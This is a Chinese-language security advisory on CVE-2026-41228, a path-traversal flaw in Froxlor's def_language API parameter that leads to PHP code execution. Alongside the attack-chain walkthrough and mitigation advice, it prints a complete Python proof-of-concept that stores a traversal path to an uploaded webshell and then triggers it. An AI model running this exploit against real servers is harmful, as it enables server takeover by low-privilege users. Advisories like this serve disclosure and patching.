IPBUF安全漏洞报告
English
CVE-2026-41228 CVSS 9.9 严重

CVE-2026-41228 Froxlor 远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41228
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Froxlor

相关标签

RCEFroxlorPath Traversal代码执行CVE-2026-41228

漏洞概述

Froxlor是一款开源服务器管理软件。在2.3.6版本之前,其API接口在处理`Customers.update`等请求时,未对`def_language`参数进行有效验证。经过认证的攻击者可利用该漏洞注入路径遍历载荷,将其存储于数据库中。当系统后续加载语言文件时,会直接包含执行攻击者指定的恶意文件,从而在服务器端执行任意PHP代码,获取系统控制权。

技术细节

漏洞核心在于Froxlor的API端点(`Customers.update`和`Admins.update`)对`def_language`参数缺乏白名单验证机制。攻击者首先需要获取一个低权限账户,通过API发送恶意构造的JSON数据,将`def_language`值设置为路径遍历字符串(例如`../../../../../var/customers/webs/customer1/evil.php`)。该恶意值被持久化存储在数据库中。随后,当`Language::loadLanguage()`函数被调用时,它会从数据库读取该参数并直接拼接到文件路径中,最终使用PHP的`require`函数加载执行。由于攻击者通常可以控制目标路径下的文件内容(例如通过文件上传功能),配合此漏洞即可实现无交互的远程代码执行(RCE),且利用过程中无需用户交互,影响范围广,危害极高。

攻击链分析

STEP 1
1. 攻击者认证
攻击者使用低权限账户(如普通客户账户)登录Froxlor管理面板或API。
STEP 2
2. 发送恶意请求
攻击者向`Customers.update` API端点发送请求,将`def_language`参数修改为路径遍历载荷(如`../../../../../var/.../evil`)。
STEP 3
3. 数据持久化
服务器接收请求,由于未对参数进行验证,将恶意路径直接存储在数据库中。
STEP 4
4. 触发漏洞
当后续任何请求触发`Language::loadLanguage()`函数时,系统从数据库读取恶意路径。
STEP 5
5. 代码执行
PHP的`require`函数根据恶意路径加载并执行文件,导致攻击者植入的恶意代码(如Webshell)在服务器端运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "https://vulnerable-froxlor.example.com" api_endpoint = f"{target_url}/api.php" login_endpoint = f"{target_url}/index.php" # Attacker credentials (low privilege customer) username = "customer1" password = "password123" # 1. Login to get session token session = requests.Session() login_data = { "loginname": username, "password": password } response = session.post(login_endpoint, data=login_data) if "dashboard" not in response.text: print("Login failed") exit(1) # 2. Exploit the vulnerability via API # Payload: Path traversal pointing to a file controlled by the attacker # Assuming the attacker has uploaded a shell or can write to a known path payload_path = "../../../../../var/customers/webs/customer1/evil.php" api_headers = { "Content-Type": "application/json" } # Update def_language to the malicious path update_data = { "command": "Froxlor\Api\Commands\Customers\Update", "params": { "id": 1, # Valid customer ID "def_language": payload_path } } print(f"[*] Sending malicious payload: {payload_path}") exploit_response = session.post(api_endpoint, headers=api_headers, data=json.dumps(update_data)) if exploit_response.status_code == 200: print("[+] Payload stored successfully in database.") print("[*] Triggering code execution by refreshing the page or waiting for Language::loadLanguage() call...") # Subsequent request to the server will trigger the require() trigger = session.get(target_url) print("[+] Check your webshell listener.") else: print("[-] Exploit failed") print(exploit_response.text)

影响范围

Froxlor < 2.3.6

防御指南

临时缓解措施
建议立即将Froxlor升级到2.3.6版本以修复此漏洞。如果暂时无法升级,应作为临时缓解措施,禁用受影响用户的API访问权限,或通过Web应用防火墙(WAF)规则拦截包含`../`序列的API请求参数,同时排查数据库中是否存在异常的`def_language`配置值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表